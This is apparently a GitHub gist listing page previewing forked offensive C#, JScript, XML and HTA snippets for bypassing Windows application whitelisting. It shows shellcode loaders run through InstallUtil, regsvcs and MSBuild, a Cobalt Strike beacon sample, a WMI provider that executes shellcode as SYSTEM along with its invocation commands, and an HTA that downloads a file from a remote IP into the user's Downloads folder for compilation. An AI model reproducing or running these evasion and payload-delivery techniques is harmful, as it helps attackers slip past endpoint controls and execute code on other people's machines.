Skip to content

Instantly share code, notes, and snippets.

View DanielRTeixeira's full-sized avatar

Daniel DanielRTeixeira

63 followers · 8 following
View GitHub Profile
@DanielRTeixeira
DanielRTeixeira / execalc.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/execalc.cs
Module Initializer ShellCode Example
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
@DanielRTeixeira
DanielRTeixeira / beaconPayload.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/beaconPayload.cs
Application Whitelisting Evasion With Beacon - Cobalt Strike - Sample
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
@DanielRTeixeira
DanielRTeixeira / dynwrap.js
Created November 2, 2017 15:25 — forked from nicholasmckinney/dynwrap.js
RegistrationFree DynamicWrapperX
var actCtx = new ActiveXObject( "Microsoft.Windows.ActCtx" );
actCtx.Manifest = "C:\\Tools\\COM\\dynwrap.test.manifest";
try
{
var DX = actCtx.CreateObject("DynamicWrapperX");
DX.Register("user32.dll", "MessageBoxW", "i=hwwu", "r=l"); // Register a dll function.
res = DX.MessageBoxW(0, "Hello, world!", "Test", 4); // Call the function.
}
catch(e){ WScript.Echo("Fail");}
@DanielRTeixeira
DanielRTeixeira / regsvcs.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/regsvcs.cs
Application Whiltelisting Bypass - regsvcs/regasm
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Create Your Strong Name Key -> key.snk
@DanielRTeixeira
DanielRTeixeira / EvilWMIProvider.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/EvilWMIProvider.cs
Evil WMI Provider
// Based On LocalAdmin WMI Provider by Roger Zander
// http://myitforum.com/cs2/blogs/rzander/archive/2008/08/12/how-to-create-a-wmiprovider-with-c.aspx
// Adapted For Evil By @subTee
// Executes x64 ShellCode
//
// Deliver and Install dll
// C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /i EvilWMIProvider.dll
// Invoke calc for SYSTEM level calculations
// Invoke-WmiMethod -Class Win32_Evil -Name ExecShellCalcCode
// Invoke-WmiMethod -Namespace root\cimv2 -Class Win32_Evil -Name ExecShellCode -ArgumentList @(0x90,0x90,0x90), $null
@DanielRTeixeira
DanielRTeixeira / mimic.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/mimic.cs
WMI execution via C#
using System;
using System.Management;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe mimic.cs
Step Two:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U mimic.exe
@DanielRTeixeira
DanielRTeixeira / DynamicWrapperCS.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/DynamicWrapperCS.cs
Dynamic Wrapper 1.1
using System;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime;
using System.Text;
using System.Runtime.InteropServices;
using System.EnterpriseServices;
using ComTypes = System.Runtime.InteropServices.ComTypes;
 
@DanielRTeixeira
DanielRTeixeira / kernel.xml
Created November 2, 2017 15:25 — forked from nicholasmckinney/kernel.xml
Blog Post Code - Attacking Drivers with MSBuild.exe.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe kernel.xml -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
@DanielRTeixeira
DanielRTeixeira / InstallUtil.hta
Created November 2, 2017 15:25 — forked from nicholasmckinney/InstallUtil.hta
Download And Compile
<html>
<head>
<script>
//Set your settings
var strFileURL = "http://192.168.56.103/execalc.html";
var oTest = new ActiveXObject("wscript.shell");
var pathTest = oTest.ExpandEnvironmentStrings("%USERPROFILE%") + "\\Downloads\\execalc.html";
var strHDLocation = pathTest;
@DanielRTeixeira
DanielRTeixeira / Win10Bypass.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/Win10Bypass.cs
Windows 10 Prototype Bypass Applocker
using System;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One: